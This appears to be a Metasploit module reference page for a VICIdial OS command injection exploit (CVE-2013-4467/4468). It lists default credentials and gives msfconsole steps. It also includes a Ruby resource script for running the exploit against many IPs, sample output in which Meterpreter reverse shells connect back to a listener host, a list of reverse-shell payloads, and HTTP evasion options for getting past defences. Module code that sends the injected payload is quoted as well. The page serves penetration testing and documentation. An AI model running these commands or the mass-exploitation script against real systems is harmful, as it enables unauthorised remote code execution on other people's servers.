VICIdial Manager Send OS Command Injection - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/vicidial_manager_send_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VICIdial Manager Send OS Command Injection
Module: exploit/unix/webapp/vicidial_manager_send_cmd_exec
Source code: modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
Disclosure date: 2013-10-23
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-4467, CVE-2013-4468
The file agc/manager_send.php in the VICIdial web application uses unsanitized user input as part of a command that is executed using the PHP passthru() function. A valid username, password and session are needed to access the injection point. Fortunately, VICIdial has two built-in accounts with default passwords and the manager_send.php file has a SQL injection vulnerability that can be used to bypass the session check as long as at least one session has been created at some point in time. In case there isn't any valid session, the user can provide astGUIcient credentials in order to create one. The results of the injected commands are returned as part of the response from the web server. Affected versions include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using vicidial_manager_send_cmd_exec against a single host
Normally, you can use exploit/unix/webapp/vicidial_manager_send_cmd_exec this way:
msf > use exploit/unix/webapp/vicidial_manager_send_cmd_exec
msf exploit(vicidial_manager_send_cmd_exec) > show targets
... a list of targets ...
msf exploit(vicidial_manager_send_cmd_exec) > set TARGET target-id
msf exploit(vicidial_manager_send_cmd_exec) > show options
... show and set options ...
msf exploit(vicidial_manager_send_cmd_exec) > exploit
Using vicidial_manager_send_cmd_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your vicidial_manager_send_cmd_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/vicidial_manager_send_cmd_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/vicidial_manager_send_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/vicidial_manager_send_cmd_exec
msf6 exploit(unix/webapp/vicidial_manager_send_cmd_exec) > show info
Name: VICIdial Manager Send OS Command Injection
Module: exploit/unix/webapp/vicidial_manager_send_cmd_exec
Platform: Unix
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-10-23
Provided by:
Adam Caudill <[email protected]>
AverageSecurityGuy <[email protected]>
sinn3r <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 CMD
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD donotedit yes VICIdial Password
PASS_ASTGUI 1234 no astGUIcient User Password
PHONE_PASSWORD_ASTGUI 1234 no astGUIcient Phone Password
PHONE_USER_ASTGUI 6666 no astGUIcient Phone Login
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME VDCL yes VICIdial Username
USER_ASTGUI 6666 no astGUIcient User Login
VHOST no HTTP server virtual host
Payload information:
Space: 8000
Description:
The file agc/manager_send.php in the VICIdial web application uses
unsanitized user input as part of a command that is executed using
the PHP passthru() function. A valid username, password and session
are needed to access the injection point. Fortunately, VICIdial has
two built-in accounts with default passwords and the
manager_send.php file has a SQL injection vulnerability that can be
used to bypass the session check as long as at least one session has
been created at some point in time. In case there isn't any valid
session, the user can provide astGUIcient credentials in order to
create one. The results of the injected commands are returned as
part of the response from the web server. Affected versions include
2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as
well. The default credentials used by Vicidial are VDCL/donotedit
and VDAD/donotedit.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-4467
https://nvd.nist.gov/vuln/detail/CVE-2013-4468
OSVDB (98903)
OSVDB (98902)
http://www.securityfocus.com/bid/63340
http://www.securityfocus.com/bid/63288
http://www.openwall.com/lists/oss-security/2013/10/23/10
http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/
Module Options
This is a complete list of options available in the unix/webapp/vicidial_manager_send_cmd_exec exploit:
msf6 exploit(unix/webapp/vicidial_manager_send_cmd_exec) > show options
Module options (exploit/unix/webapp/vicidial_manager_send_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD donotedit yes VICIdial Password
PASS_ASTGUI 1234 no astGUIcient User Password
PHONE_PASSWORD_ASTGUI 1234 no astGUIcient Phone Password
PHONE_USER_ASTGUI 6666 no astGUIcient Phone Login
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME VDCL yes VICIdial Username
USER_ASTGUI 6666 no astGUIcient User Login
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 CMD
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/vicidial_manager_send_cmd_exec exploit:
msf6 exploit(unix/webapp/vicidial_manager_send_cmd_exec) > show advanced
Module advanced options (exploit/unix/webapp/vicidial_manager_send_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/vicidial_manager_send_cmd_exec module can exploit:
msf6 exploit(unix/webapp/vicidial_manager_send_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 CMD
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/vicidial_manager_send_cmd_exec exploit:
msf6 exploit(unix/webapp/vicidial_manager_send_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
6 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
7 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
8 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
9 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
10 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/vicidial_manager_send_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/vicidial_manager_send_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <RHOST>:<RPORT> - Failed to connect to the web server
- <RHOST>:<RPORT> - Failed to connect to the web server
- Invalid Username or Password.
- Web client session not found
- <PEER> - Unknown response, check the target
- <PEER> - Invalid VICIdial credentials, check USERNAME and PASSWORD
- <PEER> - Valid web client session not found, provide astGUI or wait until someone logins
- Valid web client session not found, trying to create one...
- <PEER> - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.
- <PEER> - Injection hasn't been possible
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Failed to connect to the web server
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:
93: "phone_login" => datastore["PHONE_USER_ASTGUI"],
94: "phone_pass" => datastore["PHONE_PASSWORD_ASTGUI"]
95: }
96: })
97: rescue ::Rex::ConnectionError
98: vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
99: return nil
100: end
101:
102: return res
103: end
<RHOST>:<RPORT> - Failed to connect to the web server
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:
138: "user" => datastore['USERNAME'],
139: "pass" => datastore['PASSWORD']
140: }
141: }, timeout)
142: rescue ::Rex::ConnectionError
143: vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
144: return nil
145: end
146:
147: return res
148: end
Invalid Username or Password.
Here is a relevant code snippet related to the "Invalid Username or Password." error message:
150: def check
151: res = request('ls -a .')
152:
153: if res and res.code == 200
154: if res.body =~ /Invalid Username\/Password/
155: vprint_error("Invalid Username or Password.")
156: return Exploit::CheckCode::Detected
157: elsif res.body =~ /Invalid session_name/
158: vprint_error("Web client session not found")
159: return Exploit::CheckCode::Detected
160: elsif res.body =~ /\.\n\.\.\n/m
Web client session not found
Here is a relevant code snippet related to the "Web client session not found" error message:
153: if res and res.code == 200
154: if res.body =~ /Invalid Username\/Password/
155: vprint_error("Invalid Username or Password.")
156: return Exploit::CheckCode::Detected
157: elsif res.body =~ /Invalid session_name/
158: vprint_error("Web client session not found")
159: return Exploit::CheckCode::Detected
160: elsif res.body =~ /\.\n\.\.\n/m
161: return Exploit::CheckCode::Vulnerable
162: end
163: end
<PEER> - Unknown response, check the target
Here is a relevant code snippet related to the "<PEER> - Unknown response, check the target" error message:
168: def exploit
169: print_status("Checking if injection is possible...")
170: res = request('ls -a .')
171:
172: unless res and res.code == 200
173: fail_with(Failure::Unknown, "#{peer} - Unknown response, check the target")
174: end
175:
176: if res.body =~ /Invalid Username\/Password/
177: fail_with(Failure::NoAccess, "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
178: end
<PEER> - Invalid VICIdial credentials, check USERNAME and PASSWORD
Here is a relevant code snippet related to the "<PEER> - Invalid VICIdial credentials, check USERNAME and PASSWORD" error message:
172: unless res and res.code == 200
173: fail_with(Failure::Unknown, "#{peer} - Unknown response, check the target")
174: end
175:
176: if res.body =~ /Invalid Username\/Password/
177: fail_with(Failure::NoAccess, "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
178: end
179:
180: if res.body =~ /Invalid session_name/
181: fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
182: print_error("Valid web client session not found, trying to create one...")
<PEER> - Valid web client session not found, provide astGUI or wait until someone logins
Here is a relevant code snippet related to the "<PEER> - Valid web client session not found, provide astGUI or wait until someone logins" error message:
176: if res.body =~ /Invalid Username\/Password/
177: fail_with(Failure::NoAccess, "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
178: end
179:
180: if res.body =~ /Invalid session_name/
181: fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
182: print_error("Valid web client session not found, trying to create one...")
183: res = login
184: unless res and res.code == 200 and res.body =~ /you are logged/
185: fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.")
186: end
Valid web client session not found, trying to create one...
Here is a relevant code snippet related to the "Valid web client session not found, trying to create one..." error message:
177: fail_with(Failure::NoAccess, "#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD")
178: end
179:
180: if res.body =~ /Invalid session_name/
181: fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
182: print_error("Valid web client session not found, trying to create one...")
183: res = login
184: unless res and res.code == 200 and res.body =~ /you are logged/
185: fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.")
186: end
187: res = request('ls -a .')
<PEER> - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.
Here is a relevant code snippet related to the "<PEER> - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login." error message:
180: if res.body =~ /Invalid session_name/
181: fail_with(Failure::NoAccess, "#{peer} - Valid web client session not found, provide astGUI or wait until someone logins") unless astguiclient_creds?
182: print_error("Valid web client session not found, trying to create one...")
183: res = login
184: unless res and res.code == 200 and res.body =~ /you are logged/
185: fail_with(Failure::NoAccess, "#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login.")
186: end
187: res = request('ls -a .')
188: end
189:
190: unless res and res.code == 200 and res.body =~ /\.\n\.\.\n/m
<PEER> - Injection hasn't been possible
Here is a relevant code snippet related to the "<PEER> - Injection hasn't been possible" error message:
186: end
187: res = request('ls -a .')
188: end
189:
190: unless res and res.code == 200 and res.body =~ /\.\n\.\.\n/m
191: fail_with(Failure::NotVulnerable, "#{peer} - Injection hasn't been possible")
192: end
193:
194: print_good("Exploitation looks feasible, proceeding... ")
195: request("#{payload.encoded}", 1)
196: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8940 Merged Pull Request: spelling/grammar fixes part 2
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #5173 Merged Pull Request: fix fail_with errors
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2628 Merged Pull Request: Fix a handful of msftidy warnings, and XXX SSL
References
- CVE-2013-4467
- CVE-2013-4468
- OSVDB (98903)
- OSVDB (98902)
- BID-63340
- BID-63288
- http://www.openwall.com/lists/oss-security/2013/10/23/10
- http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- auxiliary/scanner/http/vicidial_multiple_sqli
- exploit/unix/webapp/joomla_comjce_imgmanager
- exploit/unix/webapp/oscommerce_filemanager
- exploit/unix/webapp/wp_asset_manager_upload_exec
- exploit/unix/webapp/wp_downloadmanager_upload
- exploit/unix/webapp/projectsend_upload_exec
- exploit/unix/webapp/ajenti_auth_username_cmd_injection
- exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
- exploit/unix/webapp/fusionpbx_exec_cmd_exec
- exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
- exploit/unix/webapp/opennetadmin_ping_cmd_injection
- exploit/unix/webapp/rconfig_install_cmd_exec
- exploit/unix/webapp/xymon_useradm_cmd_exec
- exploit/unix/smtp/morris_sendmail_debug
- exploit/unix/fileformat/metasploit_libnotify_cmd_injection
- exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
- exploit/unix/http/epmp1000_get_chart_cmd_shell
- exploit/unix/http/epmp1000_ping_cmd_shell
- auxiliary/client/mms/send_mms
- auxiliary/client/sms/send_text
- auxiliary/client/telegram/send_message
- auxiliary/dos/smtp/sendmail_prescan
- auxiliary/scanner/rogue/rogue_send
- exploit/linux/http/grandstream_ucm62xx_sendemail_rce
- exploit/linux/local/sock_sendpage
- exploit/solaris/lpd/sendmail_exec
Authors
- Adam Caudill <adam[at]adamcaudill.com>
- AverageSecurityGuy <stephen[at]averagesecurityguy.info>
- sinn3r
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
